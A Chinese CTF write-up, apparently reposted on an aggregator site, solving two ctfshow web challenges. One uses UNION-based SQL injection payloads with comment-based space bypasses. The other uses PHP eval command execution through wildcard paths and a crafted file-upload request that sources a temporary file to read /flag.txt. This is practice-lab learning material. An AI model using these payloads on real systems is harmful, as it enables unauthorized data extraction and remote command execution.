生活随笔
收集整理的這篇文章主要介紹了
ctfshow练习
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
ctfshow web
web7
- 打開網站,點擊三個鏈接,在url下顯示id=1等字段
- 其實第一想法為爆破,看看id=n時是否有flag,結果沒有。掃描網站后臺也沒發現
- 試試sql注入,id=1 and 1=1# 有提示,回顯報錯,那就說明了考點并且存在過濾,一個個嘗試。當輸入空格時有明顯提示,就是為過濾空格
- 空格的繞過/**/或者()都可以繞過/*!1=1*/
#查數據庫名
-2'/**/union/**/select/**/1,database(),3#
#查表
-2'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),3#
#查列
-2'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name="flag"),3#
#查數據
2'/**/union/**/select/**/1,(select/**/group_concat(flag)from/**/flag),3#
#上面雙引號等的使用,自己多嘗試看看需要單引號還是雙引號,或者不需要
- sqlmap一把梭,加參數 tamper=space2comment 但是不同的level和risk檢測的注入方式不同,可能只檢測出盲注。
紅包題第二彈
<!-- hint:?cmd= -->
<?php
#error_reporting(0);
?>
<html lang="zh-CN"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" /><title>ctf.show_紅包題</title>
</head>
<body><center><h2>ctf.show_紅包題</h2><h4>where is the flag?</h4></center><!-- hint:?cmd= --><?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");}if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){die("serror");}eval($cmd);}?></body>
</html>
- 此處參考編程獵人師傅博客
- 第一個正則字母沒有過濾p,第二個正則沒有過濾常見字符 ? / =
- 模糊匹配什么鬼???
#模糊匹配
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
#相當于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>人話: 相當于 ?>閉合前面php語句
<?= 可以替代 <? echo (php>5.4.0)
后面的模糊匹配相當于
/bin/cp /flag.txt p.ppp #此命令為將根目錄下的文件復制到此目錄下的p.ppp文件中(就是cp命令的具體路徑了)
? 作為通配符,太強了 反引號內的命令會先執行
然后訪問p.ppp文件就會下載,得到flag能根據一個p想到cp,老師傅們太強了
(但是訪問p.ppp會下載文件是為什么??echo的原因,還是文本文件會被直接下載。)
深入了解一下,還有其他做法
參考內容:CTFSHOW WEB 紅包題第二彈
<?= xxx 相當于 <? echo(xxx) #php的短標簽
. 相當于source命令,可用于執行文件(Linux)
+ 在url中表示空格,因此使用加法時url編碼 %2B
#臨時文件夾可通過php.ini的upload_tmp_dir 指定,默認是/tmp目錄。
不僅可以使用自己命名的p.ppp文件,還可以利用上傳文件時保存文件夾 /tmp目錄
#臨時文件命名規則
php+4或者6位隨機數字和大小寫字母,在windows下有tmp后綴,linux沒有
tmp/phpxxxx
因此模糊匹配 /??p/p?p????傳入內容 ?><?=.+/??p/p?p????還使用了POST請求發送數據,改變以下三個地方
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain#! /bin/shcat /flag.txt
-----------------------------10242300956292313528205888--
- content-type : multipart/from-data;表示上傳文件。
- boundary為邊界分界線,后面三串數字為開始和結束(末尾有–)數字,由瀏覽器生成隨機數字
- sh或bash等為自帶的shell語言,可執行命令。
- source命令為在當前bash環境下讀取并執行FileName中的命令·
#在自己的Linux下實驗
cd /tmp
vi 1.txt => 輸入 ll #在/tmp目錄下創建1.txt文件并寫入 ll
source 1.txt #相當于執行ll命令
. /tmp/1.txt #執行ll命令
echo `source 1.txt` #將結果打印出來
- 這就完美解釋了上傳(我認為的),上傳后就可以執行cat /flag命令,在echo打印出來,但是改變三處地方,真的是學到了。
以上內容僅供學習交流使用
部分文件是我CV打法拿過來的,如有侵權,聯系我刪除。
總結
以上是生活随笔為你收集整理的ctfshow练习的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。